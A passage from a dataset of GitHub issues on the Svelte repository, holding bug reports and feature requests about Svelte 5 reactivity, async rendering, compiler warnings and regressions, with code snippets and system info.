When the counter updates (triggering a re-creation of the {#key} block), the {#if} block immediately applies the condition using the **latest** value of the state - bypassing the intermediate or expected rendering steps.

- If I use the key directly (without an update counter), the logic works as expected—but this approach breaks bind:offsetWidth, which is why I can’t use it.
- Disabling experimental.async also resolves the issue and restores correct behavior.

This suggests a timing or scheduling inconsistency in how reactive updates and keyed block re-instantiation interact when experimental.async is enabled.

### Reproduction

https://svelte.dev/playground/d6d94071b1554fc4802b8e2371e438fe?version=5.46.1

### Logs

```shell

```

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (16) x64 13th Gen Intel(R) Core(TM) i7-13620H
    Memory: 14.54 GB / 31.70 GB
  Binaries:
    Node: 22.14.0 - C:\Program Files\nodejs\node.EXE
    npm: 11.2.0 - C:\Program Files\nodejs\npm.CMD
    bun: 1.2.12 - C:\Users\guris\.bun\bin\bun.EXE
  Browsers:
    Chrome: 143.0.7499.170
    Edge: Chromium (141.0.3537.85)
    Internet Explorer: 11.0.26100.7309
```

### Severity

annoyance",awaiting submitter,2025-12-26T16:41:21Z,2026-05-21T12:16:55Z,2
sveltejs/svelte,3758800397,Infinite loop caused by await in each,"### Describe the bug

Hi!

I encountered a very weird bug that causes the page to hang (<img width=""623"" height=""48"" alt=""Image"" src=""https://github.com/user-attachments/assets/82e52fe0-ad07-4893-ad5e-e4e2a9be3c96"" />)

```svelte
<script lang=""ts"">
  const numberOfDays = 1;

  let start = $state.raw(Temporal.Now.plainDateISO());
</script>

{#each Array.from( { length: numberOfDays }, () => Temporal.PlainDate.from(start), ) as day}
  {await Promise.resolve(day.toString())}
{/each}

<button
  type=""button""
  onclick={() => {
    start = start.add({ days: 1 });
  }}>+ 1 day</button
>
```

When clicking the button, the page hangs

However, when replacing `numberOfDays` by its numerical value (`1`), the bug no longer happens

```svelte
<script lang=""ts"">
  let start = $state.raw(Temporal.Now.plainDateISO());
</script>

{#each Array.from({ length: 1 }, () => Temporal.PlainDate.from(start)) as day}
  {await Promise.resolve(day.toString())}
{/each}

<button
  type=""button""
  onclick={() => {
    start = start.add({ days: 1 });
  }}>+ 1 day</button
>
```

The bug does not reproduce in the REPL, however, something else happens: when the variable is inlined, the code is no longer reactive.



### Reproduction

- Original code https://svelte.dev/playground/067a10bdddc843b2b03d9a1ce3344434?version=5.46.0

  Works in the REPL, hangs in real-world SvelteKit application

  The `{await Promise.resolve(day.toString())}` gets transpiled into:

  ```js
  $.template_effect(($0) => $.set_text(text... [TRUNCATED]",,2025-12-23T23:37:20Z,2026-01-25T15:16:47Z,0
sveltejs/svelte,3758508523,Defined function becomes undefined,"### Describe the bug

I've been migrating my app to Svelte 5 and found a declared function becomes `undefined` in some cases

I can avoid the issue by declaring it as a variable (`const f = () => >..`). Also this doesn't occur in the rune mode

### Reproduction

https://svelte.dev/playground/32fe25bdf13a4cbe8bdf053d68dfe777?version=5.46.0

```svelte
<script>
  $: items = [];

  function myFunction(value) {
  }
  console.log(typeof myFunction); // => undefined
</script>

{#each items.filter(myFunction) as item}
  <input bind:value={item.value} />
{/each}

<style>
</style>
```

```
Error: undefined is not a function

	in <unknown>
	in __wrapper.svelte

    at Array.filter (<anonymous>)
    at eval (playground:output:5734:31)
    at untrack (playground:output:4402:11)
    at eval (playground:output:5734:6)
    at eval (playground:output:5066:21)
    at update_reaction (playground:output:4010:17)
    at execute_derived (playground:output:2244:13)
    at update_derived (playground:output:2260:15)
    at get (playground:output:4326:5)
    at eval (playground:output:5100:32)
```

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.14 Ubuntu 24.04.2 LTS 24.04.2 LTS (Noble Numbat)
    CPU: (4) x64 Intel(R) Xeon(R) Platinum 8259CL CPU @ 2.50GHz
    Memory: 9.94 GB / 15.42 GB
    Container: Yes
    Shell: 5.2.21 - /bin/bash
  Binaries:
    Node: 20.19.6 - /home/ubuntu/.nvm/versions/node/v20.19.6/bin/node
    npm: 3.10.10 - /home/ubuntu/***/node_modules/.bin/npm
  ... [TRUNCATED]",,2025-12-23T20:37:58Z,2026-01-08T14:10:14Z,0
sveltejs/svelte,3758443949,Render a snippet inside createRawSnippet,"### Describe the problem

How, if possible, can I render a snippet prop inside the createRawSnippet helper function?
This should also work on the server.

### Describe the proposed solution

n/a

### Importance

i cannot use svelte without it",,2025-12-23T20:11:28Z,2025-12-24T00:10:45Z,6
sveltejs/svelte,3750355138,Function bindings are not deeply reactive,"### Describe the bug

When using function bindings, the binding setter is invoked only when the bound property is ""replaced"".
If the bound property is a `$state` and is updated internally, the binding setter is not invoked.

This can lead to subtle bugs since the state & UI reacts correctly thanks to the deep reactivity of `$state` - just that the binding's setter is not invoked

### Reproduction

https://svelte.dev/playground/eb92a6bcf6a84b99a31d9e5e15fc6815?version=5.46.0

`App.svelte`
```svelte
<svelte:options runes />
<script lang=""ts"">
	import Component from './Component.svelte'
	
	let visibility = $state({red: true, blue: true})
</script>

<pre>{JSON.stringify(visibility, null, 2)}</pre>

<Component bind:visibility={
	() => visibility,
	(v) => {
		console.log('setter called')
		visibility = v
	}
} />
```

`Component.svelte`
```svelte
<script lang=""ts"">
	let {visibility = $bindable()} = $props()

	function toggleDeep() {
		// the following updates the state without invoking the binding setter
		visibility.blue = !visibility.blue
	}

	function toggleShallow() {
		// the following updates the state and correctly invokes the binding setter
		visibility = {...visibility, blue: !visibility.blue}
	}
</script>
<button onclick={toggleDeep}>Toggle Deep</button>
<button onclick={toggleShallow}>Toggle Shallow</button>
```

### Logs

```shell

```

### System Info

```shell
svelte: 5.46.0
runes enabled
```

### Severity

annoyance",documentation,2025-12-20T19:50:41Z,2025-12-21T19:12:58Z,9
sveltejs/svelte,3743269970,Give cleanup functions in Attachments the same stale closure behaviour as effects,"### Describe the problem

In https://github.com/sveltejs/svelte/pull/15469 effects got a pretty neat feature; stale closures in cleanup method.

Attachments however, do not have this functionality;

https://github.com/user-attachments/assets/18a63639-663a-4f89-b9d1-134220676606

REPL: https://svelte.dev/playground/e16c61ac7c99475db45ea75e553550b5?version=5.46.0

### Describe the proposed solution

Give the same stale closure behaviour to attachments as in effects. This is a really nice feature and makes it easier to avoid some quirky bugs.

### Importance

would make my life easier",,2025-12-18T13:56:17Z,2025-12-18T14:19:47Z,3
sveltejs/svelte,3736187829,HMR triggers infinite loop when `await`ing a promise,"### Describe the bug

After any HMR changes to a page that awaits a promise, svelte starts to consume large amounts of resources.  

This is page resources used before an HMR...
<img width=""725"" height=""693"" alt=""Image"" src=""https://github.com/user-attachments/assets/ec2f806e-b9b8-476d-8417-946632dd85c6"" />

...and this is about 40 seconds after the HMR (where the linear growth starts is when the HMR happened)
<img width=""725"" height=""713"" alt=""Image"" src=""https://github.com/user-attachments/assets/6aa274b6-3e50-44f4-a47d-d25ff246019c"" />

The JS heap went from ~15MB to ~2GB.

### Reproduction

```svelte
<script lang=""ts"">
    import Inspect from ""svelte-inspect-value"";

    const testValue = await Promise.resolve(""Promised Value"");
</script>

<Inspect value={{ testValue: testValue }} />
```

The error starts in version 5.45.9 and continues into the latest version (5.46.0 at the time of writing).

### Logs

```shell

```

### System Info

```shell
Running in WSL

  System:
    OS: Linux 6.6 Arch Linux
    CPU: (16) x64 Intel(R) Core(TM) i9-9900K CPU @ 3.60GHz
    Memory: 4.59 GB / 15.57 GB
    Container: Yes
    Shell: 5.2.37 - /usr/bin/bash
  Binaries:
    Node: 22.17.0 - /home/tpetrov/.nvm/versions/node/v22.17.0/bin/node
    npm: 10.9.2 - /home/tpetrov/.nvm/versions/node/v22.17.0/bin/npm
    pnpm: 10.24.0 - /home/tpetrov/.local/share/pnpm/pnpm
    bun: 1.3.2 - /home/tpetrov/.bun/bin/bun
  npmPackages:
    svelte: ^5.46.0 => 5.46.0
```

### Severity

blocking an upgrade",,2025-12-16T20:14:41Z,2025-12-27T04:28:42Z,3
sveltejs/svelte,3723333529,`experimental_async` error: false positive,"### Describe the bug

tl;dr - doing something like this:
```ts
// useFoo.svelte.ts
import { loadFoo } from './foo.remote';

export async function useFoo() {
  let data = $derived(await loadFoo());
  return {
    get data() {
      return data;
    },
  };
}
// +page.svelte
<script lang=""ts"">
  import { useFoo } from './useFoo.svelte';

  const foo = await useFoo();
</script>
{foo.data}
```
yields the following:
```
[plugin:vite-plugin-svelte-module] src/routes/useFoo.svelte.ts:3:22 Cannot use `await` in deriveds and template expressions, or at the top level of a component, unless the `experimental.async` compiler option is `true`
https://svelte.dev/e/experimental_async

/home/ixxie/mre-experimental-async/src/routes/useFoo.svelte.ts:4:22

1 |  import { loadFoo } from ""./foo.remote"";
 2 |  export async function useFoo() {
 3 |    let data = $derived(await loadFoo());
                                           ^
 4 |    return {
 5 |      get data() {
```
even if your config is this:
```js
import adapter from '@sveltejs/adapter-node';

export default {
  kit: {
    adapter: adapter(),
    experimental: {
      remoteFunctions: true,
    },
  },
  compilerOptions: {
    experimental: {
      async: true,
    },
  }
};
```
It's very possible I'm misunderstanding how to use async / remotes, but at the very least the error is confusing.

### Reproduction

MREs:
- [stackblitz](https://stackblitz.com/~/github.com/ixxie/mre-experimental-async?file=src/routes/useFoo.svelte.ts&file=src/r... [TRUNCATED]",,2025-12-12T12:56:39Z,2025-12-12T19:53:42Z,2
sveltejs/svelte,3722834170,a11y_consider_explicit_label should not consider popovers as text,"### Describe the bug

Svelte won't raise an a11y_consider_explicit_label warning if a button only contains a popover and no other text, but as seen in this screenshot, popover text is not exposed to the accessibility tree, so the warning would be warranted.

<img width=""514"" height=""393"" alt=""accessibility panel screenshot showing the button lacks accessible name"" src=""https://github.com/user-attachments/assets/1e4d670b-a1e1-4a5b-bf9f-059ed45faf16"" />

### Reproduction

https://svelte.dev/playground/1855fb16ba544c6ea7ecdb822abe81b5?version=5.45.10

### Logs

```shell

```

### System Info

```shell
N/A
```

### Severity

annoyance",,2025-12-12T10:11:22Z,2026-01-28T17:56:19Z,0
sveltejs/svelte,3721117746,5.43.4+ $derived doesn't update,"### Describe the bug

I have a tree whose items can be expanded and deleted. For some strange reason, deleting an item causes the tree to stop updating after an item is expanded or collapsed. This bug doesn't happen in 5.43.3.

### Reproduction

https://svelte.dev/playground/22fafc05ec84446fa2e4e4df0203449d?version=5.45.9

1. delete `main.ts`
2. try to expand `Pictures`

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (10) arm64 Apple M4
    Memory: 154.14 MB / 16.00 GB
    Shell: 4.2.1 - /opt/homebrew/bin/fish
  Binaries:
    Node: 25.2.1 - /opt/homebrew/bin/node
    Yarn: 1.22.22 - /opt/homebrew/bin/yarn
    npm: 11.6.2 - /opt/homebrew/bin/npm
    pnpm: 10.24.0 - /opt/homebrew/bin/pnpm
    bun: 1.3.3 - /opt/homebrew/bin/bun
  Browsers:
    Brave Browser: 143.1.85.111
    Firefox: 145.0.2
    Safari: 26.1
```

### Severity

annoyance",,2025-12-11T22:06:11Z,2026-01-12T20:14:10Z,8
sveltejs/svelte,3718741287,5.44 breaks async rendering in Astro,"### Describe the bug

Upgrading svelte from `5.43.14` to `5.44.0` causes async rendering to fail, throwing the `server_context_required` error. We still call `render()` in what seems an okay way so I'm not sure what we should do about: https://github.com/withastro/astro/blob/main/packages/integrations/svelte/src/server.ts#L58.

### Reproduction

- Clone https://github.com/withastro/astro/
- Checkout to `fix/svelte-server-context-required`
- `pnpm i --frozen-lockfile`
- `pnpm build`
- `node --test packages/integrations/svelte/test/async-rendering.test.js`

### Logs

https://github.com/withastro/astro/actions/runs/20025261175/job/57421186982?pr=14979#step:8:78

### System Info

Irrelevant, occurs on all OSs for various node versions. See https://github.com/withastro/astro/pull/14979

### Severity

blocking an upgrade",,2025-12-11T10:20:51Z,2025-12-12T03:23:06Z,17
sveltejs/svelte,3717260211,Bound props lose default value consistency when set to undefined,"### Describe the bug

Only defaults set directly in the prop destructuring (w = $bindable(256)) cause inconsistent binding behavior when the bound variable is set to undefined. All other ways of applying a default (effect, no default, run()) behave consistently. This suggests a bug in how destructuring defaults interact with $bindable and undefined assignments.

Or perhaps it's a matter of proper documentation?

### Reproduction

https://svelte.dev/playground/f634b0f40e4440a597b7c54d1fa7cabe?version=latest

### Logs

```shell

```

### System Info

```shell
Only tested in the REPL
```

### Severity

annoyance",,2025-12-11T00:42:34Z,2025-12-11T01:06:08Z,1
sveltejs/svelte,3717239087,Significant performance regression in Immich maps starting at 5.43.4,"### Describe the bug

Starting in 5.34.4, it takes about 3 minutes to load the map page in [Immich](https://immich.app/). Usually it takes <5s. During this time, the browser was very slow, no painting/drawing/rendering. CPU was pegged at 100%.

I'm afraid I can't explain or provide a small reproducible test. However, I was able to narrow down the Svelte version that started to cause a significant performance regression when loading Immich maps page. In 5.43.3, it loads in <5s - 5.43.4 and later, it takes several minutes. I believe the only significant change in 5.45.4 was #17105. 

I tested also with [5.45.8](https://github.com/sveltejs/svelte/releases/tag/svelte%405.45.8), no improvement. 




### Reproduction

Unfortunately, I can't provide a small/easy reproduction. To reproduce, you'll have to set up an immich dev environment. You'll also need a fairly large library of images with location data. 

I'm attaching two performance traces. One bad, using 5.45.8 - and one good, using 5.43.3 

Hopefully, these traces may be helpful:

[loading_map_buggy_5_45_8.gz](https://github.com/user-attachments/files/24090511/loading_map_buggy_5_45_8.gz)
[loading_map_5_43_3.gz](https://github.com/user-attachments/files/24090512/loading_map_5_43_3.gz)

### Logs

```shell

```

### System Info

```shell
Server: 
  System:
    OS: Linux 6.8 Debian GNU/Linux 12 (bookworm) 12 (bookworm)
    CPU: (32) x64 AMD Ryzen 9 5950X 16-Core Processor
    Memory: 24.31 GB / 30.27 GB
    Container: Yes
    Sh... [TRUNCATED]",perf,2025-12-11T00:32:15Z,2026-01-28T14:58:14Z,18
sveltejs/svelte,3710365128,docs: `undefined` and `null` are allowed in the `each` block,"### Describe the bug

Svelte each block now supports `undefined` and `null`.

- https://github.com/sveltejs/language-tools/pull/2863

The [docs](https://svelte.dev/docs/svelte/each) should be updated to match this behavior.

Current explanation is incorrect:

> in other words, anything that can be used with `Array.from`.

```js
Array.from(undefined); // Uncaught TypeError: can't access property Symbol.iterator, items is undefined
Array.from(null); // Uncaught TypeError
```

Stating this in the docs will avoid LLMs from writing `?? []` inside the `each` loop.


### Reproduction

-

### Logs

```shell

```

### System Info

```shell
-
```

### Severity

annoyance",,2025-12-09T11:06:57Z,2025-12-11T01:11:23Z,0
sveltejs/svelte,3709778893,`onclick` callback not optimized inside each loop,"### Describe the bug

Reference https://github.com/sveltejs/svelte/issues/16414

The 1st `onclick` callback should be defined once and be reused, but is no longer the case

```svelte
{#each { length: 2 }, index}
  <button type=""button"" value={index} onclick={(e) => console.log(e.currentTarget.value)}>
    {index}
  </button>
  <button type=""button"" onclick={() => console.log(index)}>{index}</button>
{/each}
```

```js
// was
var on_click = (e) => console.log(e.currentTarget.value);
button.__click = [on_click];

// as-is
$.each(node, 0, () => ({ length: 2 }), $.index, ($$anchor, $$item, index) => {
  var fragment_1 = root_1();
  var button = $.first_child(fragment_1);

  $.set_value(button, index);
  button.__click = (e) => console.log(e.currentTarget.value);
```

### Reproduction

From the issue body

- [5.41.0](https://svelte.dev/playground/2f52a1d01cbe413b801f0d7283525c2d?version=5.41.0) - fixed
- [5.42.0](https://svelte.dev/playground/2f52a1d01cbe413b801f0d7283525c2d?version=5.42.0) - broken

From https://github.com/sveltejs/svelte/issues/16414

- [5.36.5](https://svelte.dev/playground/93ce89c9e31248b3947dc23ae54e5992?version=5.36.5) - broken
- [5.36.6](https://svelte.dev/playground/93ce89c9e31248b3947dc23ae54e5992?version=5.36.6) - fixed
- [5.42.0](https://svelte.dev/playground/93ce89c9e31248b3947dc23ae54e5992?version=5.42.0) - broken

### Severity

blocking an upgrade",,2025-12-09T08:26:30Z,2025-12-09T15:35:13Z,8
sveltejs/svelte,3961840089,Layout shift when using `{:else}` with `await` on remote functions during SSR,"### Describe the bug

When using `{#if await ...}{:else}{/if}` blocks with **SvelteKit remote functions** (`query` from `$app/server`), a layout shift occurs during hydration despite both branches being prerendered on the server. Using two separate `{#if}` blocks instead of `{:else}` eliminates the layout shift. **This issue only occurs with remote functions**, not with regular async functions or promises.

## Reproduction

### Remote functions (`test.remote.ts`)
```ts
import { query } from ""$app/server"";

export const getTest1 = query(async () => {
  return false;
});

export const getTest2 = query(async () => {
  return ""Hello World! 2"";
});
```

### Case 1: With layout shift (using `:else`)
```svelte
<script lang=""ts"">
    import { getTest1, getTest2 } from ""./test.remote"";
</script>

{#if await getTest1()}
  Testing
{:else}
  {await getTest2()}
{/if}

<h1>Welcome to SvelteKit</h1>
<p>Visit <a href=""https://svelte.dev/docs/kit"">svelte.dev/docs/kit</a> to read the documentation</p>
```

### Case 2: Without layout shift (using separate `{#if}` blocks)
```svelte
<script lang=""ts"">
    import { getTest1, getTest2 } from ""./test.remote"";
</script>

{#if await getTest1()}
  Testing
{/if}
{#if !await getTest1()}
  {await getTest2()}
{/if}

<h1>Welcome to SvelteKit</h1>
<p>Visit <a href=""https://svelte.dev/docs/kit"">svelte.dev/docs/kit</a> to read the documentation</p>
```

## Expected behavior
Both approaches should render identically during SSR and hydrate without layout shifts.... [TRUNCATED]",,2025-12-08T14:02:31Z,2026-02-23T17:57:53Z,1
sveltejs/svelte,3703212555,Reactivity broken for {@const} after async boundary on navigation (regression after 5.43.0),"### Describe the bug

`{@const}` in child component loses reactivity after navigation when parent uses <svelte:boundary> with await

eg. in parent
```ts
<svelte:boundary>
        {@const data = await getPayments(params)
        <TestComponent value={(data) => JSON.stringify(data.rows)} arg={data} />
</svelte:boundary>
```
eg. child component 
```ts
<script lang=""ts"">
    type Props = {
        value: string | number | ((arg: any) => any);
        arg?: any;
    };

    let { value, arg = {} }: Props = $props();
</script>


{#if typeof value === ""string"" || typeof value === ""number""}
     {value}
{:else if value instanceof Function}
    {@const result = value(arg)}
    {result}
{/if}
```
Workarounds that fix it:

- Adding 100ms delay to async function 😁 
- move const to the script tag and $derive it from the props
- force read the `{@const result}` in the block , eg. console.logging, or result.toString(), etc.
- downgrading to 5.43.0

### Reproduction

https://github.com/yayza/async-const-test


1. on initial load, paginate, everything sync correctly
2. click the button to navigate to some other page
3. go back 
4. now paginate again and notice the value in the child doesn't change, the remote data, and the child's props are reactive, but result doesn't re-evaulate

### Logs

```shell
Nothing logs
```

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (24) x64 AMD Ryzen 9 9900X 12-Core Processor
    Memory: 5.22 GB / 31.08 GB
  Binaries:
    Node: 24.6.0... [TRUNCATED]",,2025-12-07T07:19:39Z,2026-01-12T20:14:10Z,0
sveltejs/svelte,3701370547,Special Element for cookieStore,"### Describe the problem

Right now I’m using the cookieStore event listener like this:
```ts
onMount(() => {
		function cookieHandler(e: CookieChangeEvent) {
			console.log('Cookie changed:', e);
		};
		cookieStore.addEventListener('change', cookieHandler);
		return () => {
			cookieStore.removeEventListener('change', cookieHandler);
		};
	});
```

### Describe the proposed solution

I really wish we could just do something like:
```ts
<svelte:cookieStore onchange={(e) => console.log(e)}/>
```

Working with <svelte:window /> feels so smooth and satisfying, and then switching to manual event listeners for cookieStore just feels clunky.

### Importance

nice to have",,2025-12-06T09:48:44Z,2025-12-06T12:01:18Z,1
sveltejs/svelte,3701305618,v5.45.3 breaks using prop inside $state (state_referenced_locally error),"### Describe the bug

```svelte
<script>
  import Form from './Form.svelte'

  let client = $state({
    name: 'Bob',
    cats: [
      { name: 'Milli'}
    ]
  })
</script>

<Form {client} />
```

```svelte
<script>
  const { client } = $props()

  let cats = $state(
    client.cats.map((cat) => ({
      ...cat,
      _id: Math.random(),
    })),
  )
</script>

{#each cats as cat (cat._id)}
  {cat.name}
{/each}
```

This used to be a perfectly fine use of Svelte, but now Svelte won't compile because it doesn't like the use of `client` inside `$state` (throws a state_referenced_locally error)

Not shown above (but added to reproduction below), later on I use `cats.push({ ... })` and the each block updates accordingly.

Now, Svelte insists on me using $derived instead, but when I use $derived and later push to cats, the each block doesn't update...

If $state is not longer supported and $derived does not work for other usecases, what is the right way forward here?

(edit: I just saw a few other closed issues suggesting using ignore comments.... this should not be the recommended approach. Our production app uses the above pattern extensively, we would be littering our codebase with 100s of ignore lines, OR have to disable globally and silence other areas where this uses to error)

### Reproduction

Works: https://svelte.dev/playground/f144d8e9a4b1440898f3cf139d9a6aab?version=5.45.2
Broken: https://svelte.dev/playground/f144d8e9a4b1440898f3cf139d9a6aab?version=5.45.3

(see Form... [TRUNCATED]",,2025-12-06T08:41:12Z,2025-12-06T08:53:56Z,6
sveltejs/svelte,3700314765,Exception thrown in hydratable promise crashes entire node process,"### Describe the bug

Hey, thanks for launching the new hydratable feature! We're already taking advantage of it here at Stack Overflow.

We've noticed one problem with the current implementation though. If a promise rejects (eg. through a thrown exception), hydratable reasonably fails to serialize the Error object returned by the promise. However, it then throws an exception outside of the promise chain. This causes the entire node process to crash since I _think_ the exception was thrown in a background thread, not the main thread.

cc @elliott-with-the-longest-name-on-github @Rich-Harris @kaysef

I'm happy to open a PR to help fix this, I just need some guidance on what the intent is on these promise chains below.

## Source of the problem

I think the problematic bit is in the `entry.serialized` assignment:
https://github.com/sveltejs/svelte/blob/46603d93cbe072ea463a099894e2bccdd264051e/packages/svelte/src/internal/server/hydratable.js#L58-L88

I think that this accidentally introduces three branches of promise chains, only one of which is actually used:
1. The first promise is defined on line 60 with `const p = value.then((v) => `r(${uneval(v)})`).catch((d) => e.hydratable_serialization_failed(...));`. The promise we gave it throws an exception, so the `uneval` never runs and we jump to the `catch`. However, because `catch` is _returning_ the error object instead of throwing it, the promise is now an accepted promise of type `Promise<Error>`. It is _not_ the expected typ... [TRUNCATED]",,2025-12-05T20:48:49Z,2025-12-08T16:08:44Z,5
sveltejs/svelte,3699099951,Async: interactivity breaks when you hover a link of another page (prefetch),"### Describe the bug

There is a weird bug that happens when using `compilerOptions.experimental.async` enabled.
If we have a server load function returning a promise, and in the page we are using `#await / :then` , if we hover a link that triggers prefetch, the interactive elements of the current page stop working.

### Reproduction

Here is a reproduction example, with instructions in it:
https://www.sveltelab.dev/m524ivv8qk75b9v

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    svelte: ^5 => 5.45.2
```

### Severity

annoyance",,2025-12-05T14:01:52Z,2026-01-01T04:09:43Z,2
sveltejs/svelte,3695169399,`async` breaks reactivity with SvelteKit's preload,"### Describe the bug

Might be somewhat related to #17209. While the issue shows in kit, I assume the cause is somewhere within svelte proper, so filing here.

When using `async` in SvelteKit, preloading data may cause a loss of reactivity. While it seems that the value is updated (at least `$inspect()` suggests as much), the `$effect()` is not executed.

This can be triggered by both using `data-sveltekit-preload-data` or making use of `preloadData()`.

### Reproduction

https://stackblitz.com/edit/sveltekit-reactivity-loss?file=src%2Froutes%2F%2Bpage.svelte

Initially, opening the dialog both via button or the anchor works.
Once root `+page.svelte` is adjusted by either setting `triggerError` to true or `data-sveltekit-preload-data` to `hover`, opening the dialog via the button only works as long as the link has not been hovered or clicked.

Inspecting `dialogShowing` in `lib/SvelteDialog.svelte` indicates the variable is updating but the effect not firing.

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (10) arm64 Apple M2 Pro
    Memory: 65.02 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.11.1 - /opt/homebrew/opt/node@24/bin/node
    npm: 11.6.2 - /opt/homebrew/opt/node@24/bin/npm
  Browsers:
    Edge: 142.0.3595.94
    Firefox: 145.0.2
    Safari: 26.1
  npmPackages:
    svelte: ^5.42.2 => 5.45.5
```

### Severity

blocking an upgrade",,2025-12-04T15:26:38Z,2026-01-01T04:09:18Z,3
sveltejs/svelte,3692144224,`async` experimental flag causes layout navigation failure,"### Describe the bug

When the `async` experimental compiler flag is set, client-side navigation fails in one very specific condition:
- A `+layout.svelte` is present in a route (example: `/route1`)
- User navigates from that route to another (example: `/route2`)
- Any follow-on navigation fails to load (navigation from `/route2` -> `/route3` will fail)

See README in https://github.com/awei82/svelte-async-bug-poc for full explanation of the bug

### Reproduction

https://github.com/awei82/svelte-async-bug-poc

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (16) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 219.29 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.2.0 - /Users/andrewwei/.nvm/versions/node/v24.2.0/bin/node
    Yarn: 1.22.17 - /Users/andrewwei/.yarn/bin/yarn
    npm: 11.6.0 - /Users/andrewwei/.nvm/versions/node/v24.2.0/bin/npm
    pnpm: 10.18.3 - /Users/andrewwei/.nvm/versions/node/v24.2.0/bin/pnpm
  Browsers:
    Chrome: 142.0.7444.176
    Firefox: 145.0.1
    Safari: 18.6
  npmPackages:
    svelte: ^5.45.4 => 5.45.4
```

### Severity

blocking an upgrade",,2025-12-03T22:29:42Z,2026-01-01T04:11:30Z,4
sveltejs/svelte,3688161969,Unactionable state_referenced_locally warning when $state(prop),"### Describe the bug

I think there is at least one case where having this warning now is actually weird. When you initialize state with something from props I'd argue it is expected by the definition of how both $state rune and JS works, that your value will get out of sync with that prop. So in practice there is no way out of this warning except writing ignore comments above each of such lines. Would it make sense to suppress this case?

<img width=""694"" height=""232"" alt=""Image"" src=""https://github.com/user-attachments/assets/363101bf-1cbd-4d21-b03f-be1f57a26bd3"" />

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.45.4#H4sIAAAAAAAAE22NQQrCMBBFrxIGFy2I7kMV3HkH6yI2IwSmSUjGthJ6dydFcOPyv__mTwFvRgQNVyQKag6JrGrQOkbbwh6ejjCDvhXgd6xeBcK_V5cYD3lC4soeJuM_PgTP6FlmoMtDcpHPve9ZcGZV1GTohWpVJ7WLKcTctNJKT8gKFzNGwtplNozNJovQHX9Lvmx0lVeMC4PmJOkuyTianbegn4Yyrh8Cq3gY7QAAAA)

### Logs

```shell

```

### System Info

```shell
irrelevant
```

### Severity

annoyance",,2025-12-03T02:01:05Z,2025-12-03T02:57:54Z,6
sveltejs/svelte,3685336840,"SvelteKit Minimal Project Setup with TypeScript, TailwindCSS, Prettier, and MCP","### Describe the bug

A newly scaffolded **SvelteKit (minimal)** project created with the Svelte CLI (using TypeScript, TailwindCSS, Prettier and the MCP VSCode remote setup) emits runtime warnings from `vite-plugin-svelte` when the development server is started. The warnings state that certain references in the auto-generated file `.svelte-kit/generated/root.svelte` - specifically `stores` and `page` - “only capture the initial value” and suggest they may be referenced inside a closure incorrectly. The messages include links to Svelte guidance (`https://svelte.dev/e/state_referenced_locally`).

This occurs immediately after running `pnpm run dev` and does not require any user modifications to the generated code. No explicit runtime error occurs, but the warnings indicate a potential incorrect usage pattern in the generated bootstrap file that could lead to stale values or unexpected behavior when stores or `page` are accessed inside closures.

### Reproduction

You can reproduce the issue by creating a new SvelteKit project using the Svelte CLI with the exact options shown below.

**Steps to reproduce:**

```bash
pnpm dlx sv create
```

Select the following options when prompted:

1. **Template:** `SvelteKit minimal`
2. **TypeScript:** `Yes, using TypeScript syntax`
3. **Add-ons:** `prettier`, `tailwindcss`, `mcp`
4. **MCP client:** `VSCode`
5. **MCP setup:** `Remote`
6. **Tailwind plugins:** `none`
7. **Package manager:** `pnpm`

This results in the CLI command:

```bash
pn... [TRUNCATED]",,2025-12-02T11:12:51Z,2025-12-02T11:34:16Z,0
sveltejs/svelte,3683947410,New `state_referenced_locally` warnings with svelte `5.45.3`,"### Describe the bug

When upgrading from svelte `5.45.2` to `5.45.3` a rash of new `state_referenced_locally` warnings pollute the terminal in `dev` and when attempting to `npm run build`. any of my existing apps with no build or dev warnings or errors now get spammed with mega volumes of anxiety inducing warnings.

Reverting to `5.45.2` for now resolves the issue.

### Reproduction

Simply do a fresh install which as of now will use the ""buggy"" `5.45.3`

```
npx sv create test_app_svelte_5453
SvelteKit minimal
cd create test_app_svelte_5453
npm run dev
```
you will see the warnings

```
 [vite-plugin-svelte] .svelte-kit/generated/root.svelte:11:27 This reference only captures the initial value of `stores`. Did you mean to reference it inside a closure instead?
```

Under `npm run build` you will get similar warnings (though the build will complete)

```
 [vite-plugin-svelte] .svelte-kit/generated/root.svelte:17:18 This reference only captures the initial value of `page`. Did you mean to reference it inside a closure instead?
https://svelte.dev/e/state_referenced_locally
15:     $effect.pre(() => stores.page.set(page));
16:   } else {
17:     stores.page.set(page);
                            ^
18:   }
19:   $effect(() => {
```

### Logs

```shell

```

### System Info

```shell
Linux Ubuntu 22, Node 24, npm 11.6.2
```

### Severity

blocking an upgrade",,2025-12-02T04:12:51Z,2025-12-02T20:11:57Z,63
sveltejs/svelte,3683899871,bind:value causes stack overflow on 5.45.3 (in dev) when used with Bun,"### Describe the bug

I'm in the process of rewriting an app from pure vanilla JS to Svelte. I'm mostly done now, and today I've been moving a bunch of CSS from a single .css file to components.

At some point I've noticed that at least two unrelated components are causing a stack overflow:

```
HomeSearch.svelte:92 Uncaught RangeError: Maximum call stack size exceeded

	in <unknown>
	in App.svelte

    at get (HomeSearch.svelte:92:15)
    at get (HomeSearch.svelte:93:13)
    at get (HomeSearch.svelte:93:13)
    at get (HomeSearch.svelte:93:13)
    at get (HomeSearch.svelte:93:13)
    at get (HomeSearch.svelte:93:13)
    at get (HomeSearch.svelte:93:13)
    at get (HomeSearch.svelte:93:13)
